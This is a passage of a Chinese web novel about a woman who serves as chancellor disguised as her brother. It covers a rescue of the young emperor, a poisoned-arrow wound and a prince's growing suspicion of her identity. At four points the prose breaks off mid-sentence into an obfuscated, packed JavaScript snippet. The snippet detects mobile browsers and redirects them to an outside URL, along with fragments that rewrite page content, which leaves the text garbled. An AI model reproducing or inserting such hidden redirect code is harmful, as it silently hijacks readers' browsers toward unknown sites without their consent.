即便太后不是良木，她也断不会为他这种人做事。 看着眼前人决绝而去的背影，萧肆眉眼沉在阴影里，眼中情绪晦暗不明。 看来，想让这位千年难遇的奇才为他所用，确实不是件容易之事。 山风阵阵，吹得人脊背发凉，明姝拢了拢衣襟，好让冷风别再往脖子里灌，刚走出营帐不远，身后就响起了马蹄声。 “上马。” 她讶然抬眸，马背上的人正居高临下地看着自己。 “丞相不上马，打算就这么走到天亮？” 虽不知对方为何突然改变主意，但眼下救人要紧，明姝不敢耽搁，握住那只伸来的手掌，略显生疏地跨上马背。 “拿着。” 明姝接过他递来的不知名之物，“这是什么？” “鸣镝。” 她曾在兵书中读到过，鸣镝是响矢的一种，常用来于军中传递消息，原来就是此物。 按照书中所言，她拨动底部的骨片，朝空中射出响矢，驻扎在附近禁军若是听到，定会马不停蹄地往山上赶。 “只要顺着脚印，应该很快就能找到那些——啊！” 马蹄跨过树桩时，明姝只觉整个人都要掉了下去，低呼一声，双手下意识环在了萧肆腰间，整个人都瑟缩在他的身后。 短短一夜时间，她快要把这辈子惊心动魄的事都经历个遍了。 月朗星稀，树影婆娑。 马蹄在林中疾驰，最后停在一处不起眼的木屋前。 从马背上下来时，明姝觉得五脏六腑都已错位，呕吐的冲动不断从胃中涌出。 若非事出紧急，她是断然不会与萧肆同乘。 尤其是这般颠的马。 木屋里亮着火光，映出几道来回走动的身影，看身形皆非孩童。 明姝后知后觉开始胆怯，纵然萧肆武功高强，可里面的人身份不明，万一都是一等一的高手，他们岂不是来给小皇帝陪葬的？ 萧肆微微侧目，看到她攥到泛白的指节，不免觉得好笑：“现在才知道害怕，是不是太晚了？” 明姝贝齿紧咬着下唇，跟也不是，不跟也不是。 届时若是真的打起来，以他和萧肆这般恶劣的关系，别说是保护她了，不趁乱给她一剑都是仁慈。 看着她那张越来越白的面庞，萧肆不再逗弄于她，沉声道：“跟好我，不会有事的。” 一句“不会有事”从他口中说出，不知为何，明姝竟觉得安心了不少。 仿佛只要他说不会有事，便真的不会有事一样。 木门“吱呀”一声响，屋内的人皆警惕站起。 “皇叔！丞相！” 被围在中间的萧子瑜喜上眉梢，小跑着扑进了萧肆的怀中。 见人毫发无伤，明姝心里的石头总算落了下去，目光转而看向屋里的不速之客。 原以为能从山崖爬上来，应是体格极为健壮的男人，没想到竟是几位粗布麻衣、身体羸弱的老妇。 质问的话到了嘴边，看到她们被绳索磨破的双手和膝盖，以及缝满了补丁依旧破破烂烂的衣裳，明姝微微哽住，语气不自觉柔下许多，“你们究竟是何人，怎敢擅自带走陛下？” 闻言，几位老妇当即跪倒在地：“丞相大人恕罪！王爷恕罪！我等也是走投无路才会出此下策！” 萧子瑜从萧肆怀中抬起脑袋，道：“她们没有伤害朕，只是求朕救救她们的丈夫，朕觉得她们可怜，便答应了。” 几番询问后，明姝得知这几人原是禹州兰芳村的农妇，村里男子下至十几岁少年，上至花甲老人，皆被官府衙役带走，从此音讯全无，据说是被送进了矿山洞中私铸兵器，不是病死便是累死了。 “私铸兵器？”明姝纵然为官时间不长，也知私铸兵器的严重性，“如此大事，为何不向当地县丞禀报？” “回丞相大人，那些抓人的衙役便是县丞派来的，我等实在是无以为生，才冒死来山上求陛下主持公道。这一路上死的死，病的病，半个村子的人……只有我们几个活了下来。” 另一人跪着上前，抓住明姝的衣角哀求：“您就是那位江南来的丞相吧？早听闻大人料事如神，心怀苍生，您一定有办法帮我们对不对？” 明姝被她突如其来的举动吓了一跳，俯身想要将人扶起，对方却无论如何都不肯：“若是大人不肯答应，老妇便一直跪在此处！” “对！丞相若是不答应，老妇也不起来了！” 一时间，屋内哀求声此起彼伏，萧肆淡淡开口：“禹州县丞杨子鑫，早年乃是徐国公麾下的门客，丞相可得考虑清楚了。” 明姝：“……” 区区一个县丞，敢行私铸兵器之事，背后定有上位者撑腰，若她插手此事，保不齐会查到徐国公的头上。 萧子瑜年纪尚小，不清楚其中利弊，但她不同。 说到底，她是太后从江南寻来的人，即便从未表明立场，在外人眼中也早已将她归入了太后一派。 况且她在京中并无党羽，眼下唯一能依靠的只有太后这棵大树，若是查出徐国公私铸兵器，折了太后一条臂膀…… 显然不是明智之举。 看着跪在地上苦苦央求的妇人们，明姝一时不知如何是好。 若是阿兄在，他会作何抉择？ 脑海中又浮现出阿兄的面庞，想起他诸病缠身依旧晨起念书的身影，以及时常挂在嘴边的那句“为官者，应身处湍流而守横渠不改”。 为官者，应身处湍流而守横渠不改…… 她心中默念着，鬼事神差般地，竟应下一个“好”字。 萧肆弯了弯唇，唇边带着几分讥诮。 虽然乐见其成，但他属实没想明玦会答应这种愚蠢之事。 那厢，萧子瑜实在困得撑不住了，扯了扯萧肆的袖子：“好了好了，朕和丞相答应过的事，定会说到做到，时间不早了，朕还要回去睡觉呢。” 说罢，他又将脑袋埋进萧肆身前，声音软糯好似撒娇一般：“皇叔，朕累了，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105300|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱抱。” “好。” 萧肆将人一把抱在怀中，吩咐明姝去牵马，三人就这么一路往回走。 看着萧子瑜趴在他肩头睡得正香，小嘴里还不时嘟囔着梦话，明姝实在不明白，他对萧子瑜究竟是怎样一种感情。 行至营帐处，禁军早已等候多时，萧子瑜被四处巡逻的马蹄声吵醒，揉着眼睛道：“怎么来了这么多人？” 为首将领上前，道：“末将参见陛下、王爷还有丞相，不知山中发生了何事？” 萧肆道：“无事，都撤下吧。” “可那鸣镝……”将领有些摸不着头脑，不过看三人都安然无恙，还是恭恭敬敬应了声“是”，招呼其他禁军往山脚下撤。 萧肆将萧子瑜放在地上，从明姝手里拿过缰绳去栓马，明姝生怕萧子瑜一个转眼又不见了，便像萧肆平日里那样牵住了他的手。 “陛下今日就这么跟不明不白的人走了，让臣担心了许久。” 萧子瑜一副没睡醒的样子，任由她牵着往营帐里走，口中含糊不清：“丞相为何要担心朕？朕不是已经留了字条吗？” 明姝脚步一顿：“字条？” “是啊，朕已经说了要跟人去西北方的木屋走一趟。” 明姝愣住，很快明白是萧肆将字条藏了起来。 那他先前在营帐中的那些话……也都是为了试探她对太后是否忠心？ 后知后觉的明姝不禁倒吸一口凉气，腹诽此人心机深沉，简直恶劣到了极点。 行至帐前，远处突然一点寒光乍现，在她的瞳孔中急速放大。 “小心——” 来不及思考，她俯身将萧子瑜护在怀中，银箭破风而至，直直刺入了她的左肩。 栓马回来的萧肆将这一幕尽收眼底，当即眸色微沉，拿起手边弓箭，一箭将人从马背上射落。 箭上涂了致人麻痹的毒素，明姝疼得秀眉拧作一团，只觉意识正在不断被剥夺，四肢也再不听从使唤。 “陛……陛下……” “丞相？丞相？！”明姝的大半重量都压在了他的身上，萧子瑜登时困意全无，两只手晃着她的肩膀，可人已经昏死了过去，怎么喊都无济于事。 尚未走远的禁军听到动静，当即折返回营帐，为首将领高喊道：“有刺客！速速保护陛下安全！” 顷刻间，禁军将四周围了个水泄不通，其余人在萧子瑜的命令下，将昏倒的明姝抬回帐中。 萧肆看她伤口处流出的血脓已有发黑之势，敛眉道：“箭上有毒，若不立刻拔出，恐会伤及肺腑。” “可是……”禁军将领面露难色，“此处离皇宫太远，若要请太医，至少要两个时辰。” “禁军中可有人懂医术？” 萧肆的目光从一众禁军身上扫过，皆面面相觑，无一人应答。 “都退出去，照看好陛下。” 一时间，帐内只剩他与明姝二人，萧肆不懂医术，但早年在边境行军打仗，受过的伤数不胜数，即便是带有倒钩的毒箭，也曾一声不响地拔出过。 不过拔归拔，他的手法可没有医官那般温和，能不能受得住，就全看明玦自己了。 床上人因中毒而唇色发紫，渗出的细汗将发丝打湿缠在眼侧，伤口鲜血氤氲，在一袭白衣上格外触目惊心。 萧肆长指掀开她的衣领，露出一段比女子还要纤细白皙的肩颈，他眉峰轻敛，想起太医曾说过，明玦早年治病在胸前留下了一道骇人的伤疤。 为何不见伤疤？ 正欲继续往下，手腕突然被人抓住，床上人不知何时转醒，虚弱的声音带着几分央求。 “不要……” 15. 拔箭 “若不拔箭，丞相今日必死无疑。” 萧肆其实并不在乎她的死活，她若执意要死，自己反倒少了个绊脚石，只是抱着几分惜才之情，想让她为自己所用罢了。 若是不能，他自会亲手将她除掉。 明姝生怕他再向下探去，握住他的手不敢松开，“我自己来，还请王爷在外等候……” “丞相是活腻了？” “咳咳……”明姝咳出一口鲜血，牵动伤口疼得说不出话来，却依旧没有松手的意思。 萧肆似有所察地皱起眉头，目光落在她莹润如雪的肩颈上，短暂的僵持过后，终是先松了手，转身走出营帐。 甫一离开，身后便传来了撕心裂肺的叫声，他脚步稍顿，垂眸看着指尖沾染的鲜血，心中若有所思。 …… 第二日，禁军护送着车撵打道回京。 途中颠簸不断，明姝尚未结痂的伤口几度开裂，鲜血沿纹样氤红了月白衣衫，如同雪地里盛开的一朵血莲。 她一路咬牙坚持，方下马车便昏了过去。 车队停在原地，后方有人来报：“王爷，丞相大人昏过去了！” 萧肆单手握缰绳，侧目看去，见白九火急火燎地从府中跑出，将那道淡薄瘦削的身影搀进了门，周围禁军想要上前搭把手，无一不被拒之门外。 一旁，禁军将领斟酌着开口：“王爷，丞相大人似乎伤得不轻，要不要派人到宫里请太医来？” 萧肆收回目光，淡道：“便是请来最好的太医，也难进这相府的大门。” “为何？” 将领不明白他的意思，询问后唯有一句“回王府”。 明姝这一昏便是整整两日，白九不敢擅自请郎中到府上，只能白日照常出门添置日用，营造出一切安好的假象，夜里挑灯翻看那些不知所云的医术，守在明姝榻边扑簌簌地掉眼泪。 到第三日，人总算清醒了过来。 听闻明姝为皇上挡了一箭，还是自己忍痛拔出来的，白九吓得小脸煞白，当即又掉起了眼泪，“要知道，以前在江南的时候，小姐可是最怕疼的。” 自个儿拔箭有多疼，她想都不敢想。 明姝轻握住她的手，安慰道：“若不这么做，秦王便会发现我的身份了。放心，那一箭刺得并不深，日后也不会再发生这种事了。” 回想起那夜萧肆站在榻边，一只手就放在离她胸脯不远的位置，心中便是一阵后怕。 若非自己及时恢复理智，即便没进阎王殿，此时此刻也身在诏狱了吧？ 想着，肩头又是一阵剧痛，疼得她几乎直不起身来，只能唤白九再拿个软枕垫在身后。 “大人，今日已经是第三次出血了。”白九实在不忍心看她这么强撑着，“要不还是请郎中来瞧瞧吧，事后给些银子封口，总比这般硬抗过去的好！” “无碍。”明姝微微转动身子，让受伤的一侧肩膀靠在软枕上，“毒素已清，再养几日便能下地了。” 她的女儿身，多一人知道便会多一分危险，自己吃些苦头倒无妨，若是被捅穿出去，牵连的可就是整个明家了。 白九见她这般逞强，自己却什么忙也帮不上，只能站在一旁干着急，“若是咱们在京中有个依靠便好了！” 当初她们并非没考虑过带郎中入京，但思来想去还是作罢，一是不想平白连累他人，二是怕冒名顶替之事被太多人知晓，就连主动提出同行的许郎中，也因明姝担心兄长身旁无人照应，一并推辞了去。 如今，总算是体会到了举目无亲的难处。 “眼下只是初来乍到，等日子长些，自然会有的。” 嘴上虽这么安慰，但明姝心里十分清楚，在这明争暗斗的朝堂上，怎可能找到一个愿为她保守秘密又遮风挡雨的依靠呢？ 终究还是要靠自己。 晚些时候，宫里来了赏赐，太后以护驾有功为由，派人送来了几箱金银珠宝和珍稀药材，负责搬运的侍卫鱼贯而入，东西满满当当堆了半个院子。 平日里能从窗外看到池塘边的杨柳枝，如今再望过去，视线已经被遮了大半。 翌日，消息传开后，卫平澜和沈遥枫也前后脚来到府上探望，个个都对她的伤势甚是上心，就连小皇帝也专程修书一封，让她在府中好好静养，待身体康复了再到宫中教他念书也不迟。 至于是担心她的身子还是自个儿不想念书，就不得而知了。 此外，还有一些连照面都不曾打过的达官显贵，带着各种奇珍异宝前来探望，左一句丞相大人，右一句伤势如何，仅是寒暄就让她耗费了不少心神。 送走吏部侍郎后，天已经黑了大半，白九看着房间里堆满的古籍字画，忍不住嘟囔：“这些人可真会见风使舵，见大人护驾有功，日后必定受到太后和皇帝的器重，一个个都开始溜须拍马了，就连大人的喜好都打听得一清二楚。” 连白九都能看出，明姝又哪里不清楚这群人的心思，嘴角不由得扯出一丝苦笑，“人在朝堂，生死难料，他们也只是想找个靠山罢了。只可惜我这个靠山看似牢固，实则千疮百孔，若他们知道我是女扮男装，恐怕看都不敢再看我一眼，生怕哪日东窗事发，把自个儿也牵连了进去。” 一想到这些便觉得松懈不得，她忍痛抬手，从案上摸了本兵书翻看起来，白九见状将灯盏挪近了些，“大人伤势未愈，莫要看得太晚了。” “放心，只是看一小会儿。” 灯烛轻曳，柔光映着她的半张侧脸分外娴静，“去把门都关了吧，再有人来，便说我已经歇下了。” “好。” 白九轻手轻脚退了出去，到东厨将那些达官显贵们送来的吃食都分门别类地装好，能放的放起来，放不住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105301|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便送去给相府附近的几个乞丐，也算是替明家行善积德了。 直至相府大门已关，盯了一整天的陆尧这才驱车离开，回到秦王府时，屋檐下的长明灯已渐次挑亮。 “王爷，如您所料，相府这几日并未请任何郎中，倒是上门拜访的人越来越多，就连沈大人也去了，看他们一待就是几盏茶的时间，想必丞相已经醒了，您……”陆尧边说边睨着他的脸色，“就不打算去一趟？” 案前人正襟端坐，低眉翻阅着手中奏疏，“本王为何要去？” “王爷先前还说要拉拢丞相，如今半个京城的官都削尖了脑袋去相府探望，您倒好，连一点表示都没有……”陆尧越说声音越小，“这要是能拉拢到就见鬼了。” 上首之人冷冷扫来一眼，他赶忙转移话题：“说来也是奇怪，丞相身子本就羸弱，又伤得那般严重，居然连个郎中都不请，也不知要硬撑到什么时候。” 萧肆并未接着他的话往下说，问：“上次派你调查的事如何了？” “王爷是指画像的事？”陆尧从怀里掏出一本簿子，“江南那边的人都已经问遍了，没有与明玦长相相似之人。” 萧肆指骨如玉的手翻开簿子，上面记录着所有被问话人的回答，其中提到的一个名字让他有些在意。 “明姝……” 陆尧解释道：“明家小姐明姝，是丞相的亲妹妹，据说二人长得确有几分相似，可属下派人仔细查过，明姝姑娘最近一直在书院闭关念书，从未离开过江南半步，况且她还是个女子。” “再怎么说，女子与男子还是有很大差别的。” 萧肆没接话，只是没来由回想起那夜的营帐，昏黄烛火下，榻上人肤光胜雪，垂落的乌发堆在肩颈，与他在军中见过的男子迥乎不同。 大抵是文人与武夫的区别吧。 论聪颖与胆识，他着实难将明玦与那养在深闺的娇小姐联系在一起。 “王爷，明日咱们也去相府走一趟吧，实在不行，差府里的下人送点什么也好，京城就这么大，日后低头不见抬头见的，总不好不闻不问吧？” 萧肆收回思绪，一句“不必”便将他搪塞了回去。 “王爷这是不打算拉拢丞相了？” “当初明玦中箭，宁愿自己拔出也不愿本王插手，你觉得是因为什么？” 陆尧不知他为何突然问起这个，挠了挠头道：“怕王爷下手太重？或是……不想欠王爷人情？” “错了。”萧肆不疾不徐地合上簿子，缓声道，“咱们这位丞相大人，是害怕本王发现他是个冒牌货。” 且不说她的胸口并无伤疤，真正的明玦不会在皇帝失踪时那般冲动行事，也不会在遇到刺客时奋不顾身地挡箭。 纵然平日里装得再像，到了危机关头还是会露出马脚。 所以……现在的丞相究竟是谁？ 16. 美男计 自太后重赏，原本冷冷清清的相府一连几日被人踏破门槛，原本只腾扫了两三间厢房，明姝担心担心怠慢了客人，便让白九又寻了几个帮工，将相府前前后后都清扫了一遍。 “各位今日辛苦了，我家大人让我煮了些冰凉解渴的绿豆水，人人都有份。” 近来日头毒辣，再加上相府实在太大，帮工们早已累得满头大汗，纷纷放下手中的活，去白九那儿领了一碗冰凉的绿豆水。 “居然真是冰的，我长这么大，还是头一次喝上冰的呢！” “这相府待遇就是好，不知还缺不缺家仆？” 白九笑笑：“我们家大人清正廉洁，平日里吃穿用度没什么挑剔，我一人伺候足矣。” 盛完所有人的份，白九也累得出了汗，正欲将东西端回东厨，忽听面前传来一道清脆女声：“白九姑娘，麻烦给我也来一碗。” 白九一愣，抬头瞧见了徐妙音，忙又盛了一碗递上去，“见过宛平郡主。” 她听明姝说过，徐妙音自小在宫里长大，知书达礼，善解人意，深得太后的喜爱，太后有意撮合二人结为连理，好将她这颗棋子牢牢捆在身边。 徐妙音轻呷了一口绿豆水，到底是高门贵女，举手投足都婉婉有仪。 “宫里的冰块都是严格按照官位品阶分发的，昨日还见两位女眷因此事争得不可开交，丞相大人愿意拿出来给百姓享用，当真是爱民恤物。” 白九不知如何回答，只能微微颔首，听她续道：“不过，爱民之前还得先爱惜自己的身子不是？昨日我去太医院拿了些上好的玉创膏，止血化瘀颇有妙效，不知可否进去见见丞相大人？” “当然，郡主请随我来。” 白九带人来到厢房外，隔着门禀报：“大人，宛平郡主来了。” 彼时明姝正在翻看户部抄送来的账簿，左右也没看出什么蹊跷，听闻徐妙音来了，顺手将账簿藏在枕下。 “郡主请进。” 徐妙音今日穿了件绯色绫罗纱衣，白玉珠花作饰，披帛薄如轻雾，足下丝履用银丝绣着一双桃花，清丽间透着几分矜贵，一进门，便朝她盈盈作了一揖。 “妙音见过丞相。” 同为女子，明姝一瞧便知她是精心打扮过的，知她廉洁之名在外，还特意选了些素雅又不落俗气首饰，就连头上梳的绀绾双蟠髻，看似简单内敛，却要花上整整一个时辰的功夫。 可见，徐妙音也有意同她结为夫妻，如此一来，便又多了一桩麻烦事。 白九给二人沏上了醉香楼送来的蔷薇露，淡淡花香从盏中飘出，格外沁人心脾。 徐妙音道：“听闻丞相大人在山上遇刺，妙音担心得不得了，特意去太医院寻来了一盒玉创膏。这玉创膏虽闻着有些刺鼻，药效确实一等一的好，当年先帝被贼人所伤用的便是此药，妙音来帮丞相涂上吧。” 说着便要上前，却听明姝道：“郡主的心意明某已经领了，只是刺客在箭上淬了毒，伤口周围皆已被毒素侵蚀得血肉模糊，为清毒素，只能将周围的血肉一并生剜下来。明某实在担心吓到郡主，这些还是交由下人来吧。” 徐妙音也是被捧着长大的娇小姐，哪里见过什么生剜血肉，被她三言两语唬得不敢再上前。 明姝不动声色打量着她身上的首饰，随口问起：“郡主今日戴的耳坠甚是别致，看这玉珠的成色，应是不可多得的珍品吧？” 徐妙音摸了摸右耳的耳坠，面上薄红：“这是十四岁那年爹爹送我的生辰礼。” “国公待郡主甚好，这壁琉璃制成的首饰，可不是花钱就能买到的。” “璧琉璃？” 见她不懂这些，明姝解释道：“壁琉璃乃一种罕见的玉石，不仅观赏性强，硬度也极高，据说若是将壁琉璃磨成的粉末加入铸具中，锻造出的兵器就能无坚不摧。” “没想到丞相大人如此博学多识，连玉石也有所研究。” “都是从家妹那里听来的，让郡主见笑了。”放下茶盏，明姝故作漫不经心地提起，“家妹平时也喜欢摆弄这些金银首饰，先前还吵着嚷着说想要一只壁琉璃手钏，结果打听了才知，这壁琉璃极其稀有，目前只在禹州一带开采，想要买到的话，还需跟当地商会交好的人牵线才行。” “原来如此……”徐妙音说话时眼中还带着几分失落，像是错失了什么宝贵的机会一般，“可惜徐家跟禹州素来没什么交集，爹爹也从未去过禹州，想来是帮不上丞相了。” “无妨，家妹只是一时兴起，郡主当个笑话听听便是。” 二人从玉石首饰聊到诗词歌赋，又从诗词歌赋聊到日常琐事，直至壶中茶水见底才作罢，徐妙音走时已是酉时，连帮工们都已经清理完后院回家去了。 白九将用过的茶盏收拾起来，忍不住问：“郡主的面色瞧着比来时红润不少，满眼的欣喜藏都藏不住，大人为何要同她聊那么久？若是让太后知晓了，觉得大人与郡主两情相悦，一道赐婚的旨意下来可就大难临头了。” 明姝何尝不懂这个道理，从枕头下取出账簿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105302|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边翻边叹道：“只是想从她口中套些话罢了，为了不让她起疑，才不得不多说些别的掩饰。” 其实她对玉石没什么研究，只是以前金银首饰接触多了，一眼便认出徐妙音耳上的那对耳坠最为上品，便借壁琉璃探探她的口风。 真话掺着假话说，对方不了解玉石，自然也就听信了她的那些话。 白九若有所思了一会儿，大概明白了她的用意，“所以……大人方才用的是美男计，借着郡主对大人的倾慕之情，从她口中套出想知道的事情？” 听到“美男计”，明姝一时忍俊不禁，想要纠正她的措辞，却又觉得无从反驳。 “那大人套出想知道的东西了吗？” 明姝点了点头，又摇了摇头，看着账簿上密密麻麻的数额，只觉得脑袋隐隐作痛。 这账她已经看了一天一夜，左右也看不出禹州的账目有何不对，徐妙音也说徐家与禹州并无交集，况且看她听到用禹州时的反应，显然对私铸兵器之事一无所知。 如此，算是无从下手了。 那厢，白九将门窗一一关好，确认府中无人后，从袖中取出一张字条，“白日里帮着清扫后院时，收到了大公子的飞鸽传书，奈何人多眼杂不敢声张，一直等到了现在。” “飞鸽传书？” 明姝心中有种不好的预感，阿兄平日里都是遣驿差送信，不知是遇到了什么急事，才会用飞鸽传书。 展开字条，上面只有寥寥一行—— 秦王起疑，派人到江南打听画像。 明姝心中咯噔一下，很快便明白所谓的画像是何物，“没想到，他竟暗中派人到江南调查我的身份。” 先前在醉香楼与姜娘见面，萧肆应该已经打消了疑虑才是，为何现在又…… 白九原先还不懂画像的意思，听她这么一说，才后知后觉吓了一跳：“秦王他……莫不是已经发现大人女扮男装了？” “不会。”明姝很快冷静下来，将字条丟入火中烧了个干净，“他既拿着画像去江南打听，说明还只是怀疑，并未确认，江南那边有阿兄在，断不会让他查出什么端倪，眼下最要紧的，是得想个法子彻底打消他的疑虑。” 真是屋漏偏逢连夜雨，一个徐妙音，一个私铸兵器案，如今又来了个更为棘手的。 想要打消萧肆的怀疑，就得先摸清他为何会起疑，明姝尽力回想着二人之间的发生过的细节，最终思绪停在秋山中箭的那夜，右手下意识放在了胸口。 “是那个时候……” 17. 遗物 长廊芳草，风絮纷纷。 杳杳钟声间，绕过画拱承云的庙宇，现出一段长满青苔的石阶。 萧肆随监院一路沿阶而上，身畔参木深翠，系挂着青铜古铛敲出细碎声响。 “丹青祠这些年香火愈发稀薄，犹记得王爷去年此时来寺中，还能见到三三两两的香客。”监院年事已高，身形佝偻，每行一段便要停下来喘息片刻。 幽径通向后山中的禅堂，四周杂草丛生，枝叶交映，春来秋去也不曾留下几个脚印，年年今朝来到此处的，唯有萧肆一人而已。 监院将人送到后堂便下山了去，堂中积灰已久，金铜佛像一丈六尺之高，其下佛龛供着一副年头已久的女子画像。 萧肆踏着香灰残屑走上前去，凝视着画中女子的面庞，身形良久未动。 忽而，禅房外刮起大风，惊动了枝头歇脚的麻雀，浮影自佛像上飞掠而过。 一连闷热的半个月的天气就像是酝酿了一场前所未有的风雨，从无到有，不过眨眼的功夫已有瓢泼之势。 不多时，一阵脚步闯入雨声，既而一道云白色身影小跑至门廊下，伸着手臂抖落伞上的雨水。 萧肆将目光从画上收回，微微侧身，冷眼看着这位前来避雨的“香客”。 “看来丞相不似传闻中那般体弱，这么快便能下地走动了。” 明姝闻声回眸，面上露出几分讶异，“没想到王爷也在此处，明某听闻这丹青祠的佛祖甚灵，先前中箭险些丧命，便想着来此处拜上一拜，驱驱晦气。” 萧肆依旧冷眼看着她，即便一言不发，那目光也足以戳穿她的谎言。 且不说这后山禅堂向来无人问津，若真有显灵一说，如今也不至于这般香火稀薄。 明姝被他盯得愈发心虚，好在也没期望能骗过他，将伞倚靠在墙边，从香灰较少的一侧走入堂中，以免弄脏了衣摆。 “京中眼线防不胜防，明某特意来这无人的庙中寻王爷，其实是想请王爷看看这本账册。” 账册在她袖中揣了一路，边沿沾了些雨水微微翘起，萧肆目光上移，看到那双纤细的指骨苍白中泛着几分冻红，大抵是伤势未愈便跑了出来。 “丞相乃千载难逢的奇才，自己都瞧不出端倪，如何断定本王能帮你？” 明姝也不拐弯抹角：“私铸兵器一事若当真牵扯出徐国公，对王爷只会百利而无一害，王爷是聪明人，自然白白不会浪费机会。” 萧肆伸手去接，明姝下意识将指尖缩回，趁他翻看之时，抬眼望向佛龛中的画像。 画中女子身着佛衣，虽已削发为尼，却遮不住眉眼间的雍容端庄，想来便是曾经的惠妃，萧肆的生母了。 当年的惠妃贤良淑德，宠冠六宫，就连江南坊间也时有传闻，不知后来沾染了哪般祸事，竟自请出家来到这丹青祠，年纪轻轻便撒手人寰了。 “从账面上看，禹州的出纳并无问题。”萧肆出声打断她的思绪，递回的账册不等她回神便松开了手。 明姝慌忙去接，这才没让账册沾了满地香灰，否则再揣回袖子里，这衣裳可就不好清洗了。 萧肆看向她的眼中带着几分探究：“能私铸兵器之人，还不会愚蠢到在抄本上留下破绽，这一点，丞相应该不会想不到吧？” “自是想到了，只是担心自己疏忽大意，漏掉了关键线索，既然王爷也觉得账册并无问题，明某就不继续叨扰了。” 明姝拿了伞正欲离开，转身却见一枚柳叶镖迎面射来，裹挟着细风割断了耳侧的一缕碎发，最后刺进了佛像旁的柱子里。 好险…… 若是再偏上一些，后果不堪设想。 明姝心中大惊，不敢再上前半步，隔着朦胧的雨幕，隐隐看见五六道身影正朝着禅堂赶来。 “王爷，我们好像被人盯上了……” 纷乱的脚步声搅乱了雨打房檐的节律，不消片刻，禅堂便被几个蒙面人团团围住。 为首之人身材魁梧，手臂粗壮，腰间别着一对铁质双斧，不知沾了多少人的血，斧面上已经生出了不少锈迹，不难想象蒙面下是怎样一幅凶狠面孔。 “……你们是何人？” 明姝被逼得连连后退，直至退到萧肆身旁，这才发觉他腰间空荡——今日竟连佩剑都未带。 “上！” 没有任何商谈的余地，铁斧破风声骤起，十数道黑影如饿狼扑食。 眼看当头一刀劈来，明姝吓得脸色青白。 人被萧肆一脚踹飞出去，其余刺客纷纷后退避让，被扬起的烟尘呛得咳嗽连连。 “谁派你们来的？” 萧肆冷眼扫过周围刺客，目光所到之处仿佛要结冰三尺，明姝料想是因为这些人扰了惠妃的清净，无异于触了他的逆鳞。 然而对方并无回答，再次一拥而上，明姝攥着伞柄的手微微发颤，忽觉腕间一空—— 陡然撑开的伞骨一举挡下数剑，剑锋顺势划下，无情割破了伞面上的烟雨江南图。 “等等，那可是——” 那可是她为数不多从江南带来的宝贝，且不说伞面是江南名家亲手所绘，伞骨与伞身也皆是乌木所制，其中还掺了玉粉，论做工论精美论坚硬程度皆是上乘。 眼下却成了萧肆的趁手武器。 “退后。” 明姝顾不上心疼伞，也顾不上揣测萧肆是在保护她还是嫌她碍事，听话地退至墙边，看着眼前的刀光剑影，一颗心几欲跳出了嗓子眼。 见萧肆以一敌众也不落下风，刺客这才发觉踢到了铁板，其中一人趁他与别人缠斗，将目标转向了毫无还手之力的明姝。 “救命——”利刃破空声从脑后袭来时，明姝吓得闭上双眼。 伞骨挟着劲风擦过她耳畔，身后刺客发出颅骨碎裂的闷响，明姝惊魂未定地看着面前人倒下，现出其后高大肃杀的身形。 指尖垂落的血线顺着伞骨蜿蜒，滴答滴答落在她的脚边，有那么一瞬，她觉得眼前不是金尊玉贵的王爷，倒像是踩着累累尸骨杀出的疯子。 其余人眼见此状，纷纷撤退。 禅堂终于恢复了往日平静，萧肆的目光落在她被扯乱的领口，不由得一怔。 包扎伤口的白布上方露出一截褐色伤疤，看起来时日已久，在细滑如脂的皮肤上显得尤为突兀。 察觉到他的视线，明姝忙将领口遮住，稍稍挪开了目光，“方才多谢王爷出手相救。” 萧肆没接话，将伞随手丢在地上，径自从她身旁走过，明姝转过头去，见他动作略显僵硬地沿着墙边坐下，左肩处分明没有外伤，却被鲜血氤湿了外衣。 医书有云，潮湿天最易旧伤复发，没猜错的话，萧肆便是方才打斗时牵动了旧伤。 说起来，他先前为了让她在小皇帝面前出糗，早早拆了夹板去校场射箭，如今落下病根也是意料之中的事。 思及此，她不动声色地摸了摸袖口，想起出门前并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 